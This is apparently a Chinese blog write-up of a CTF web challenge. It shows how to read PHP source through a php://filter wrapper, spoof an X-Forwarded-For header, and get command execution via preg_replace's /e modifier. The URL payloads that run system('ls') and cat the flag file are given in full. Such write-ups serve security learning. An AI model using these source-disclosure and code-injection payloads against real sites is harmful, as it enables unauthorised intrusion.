ctf随笔(2)被后门入侵的系统

这是一道我觉得是我真正开始接触ctf的一题,涉及到php正则表达式,和php://filter协议
题目描述:破坏者会利用工控云管理系统设备维护中心的后门入侵系统
进入之后如下界面
再次点击云平台设备维护中心之后,会发现url和显示都有改变
在这里插入图片描述网址也从111.198.29.45:52706/index.php变成了111.198.29.45:52706/index.php?page=index

尝试111.198.29.45:52706/index.php?page=index.php网页显示了Ok字样
在这里插入图片描述
这样就可清楚是存在index.php这个页面的,但是我们没有办法获得该网页的信息,用php://filter协议处理一下,我们可以得到index.php的内容,协议的详细信息可参考https://blog.csdn.net/destiny1507/article/details/82347371
构造:php://filter/read=convert.base64-encode/resource=index.php

对url经过处理
在这里插入图片描述就有了一堆看不懂的码,悲伤。。但是用base64解码后我们就能看到一整篇php代码了,代码审计也让人头大,最后其实就只有这一段是有用的
在这里插入图片描述首先呢,这玩意要让你加个X-Forwarded-For头,然后就是一个正则表达式的函数preg replace,在网上搜索了一下,这个函数有一个很严重的bug
在这里插入图片描述接下来就是抓包还有实践尝试的阶段了,首先将X-Forwarded-For头改一下,然后就可以发现网页的回应开始变化:welcome my admin
在这里插入图片描述
然后就对函数里的pat,rep,sub变量进行测试,在url上再添加如下代码:
?pat=/test/e&rep=system(‘ls’)&sub=test
返回如下信息
在这里插入图片描述这个s3chahahaDir文件夹里面应该就是相应的flag了
?pat=/test/e&rep=system(‘ls+s3chahahaDir’)&sub=test
在这里插入图片描述需要注意的是,如果直接在网页上的url修改,那么’‘单引号则不会报错,如果在brup的repeater中的headers中直接写’'单引号是会报错的,这时候要把’写为%27。明显有个flag的文件夹,来让我康康
?pat=/test/e&rep=system(‘ls+s3chahahaDir/flag’)&sub=test
在这里插入图片描述果然有个flag,让我康康你是啥嗷
?pat=/test/e&rep=system(‘cat+s3chahahaDir/flag/flag.php’)&sub=test
在这里插入图片描述成功拿到flag

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值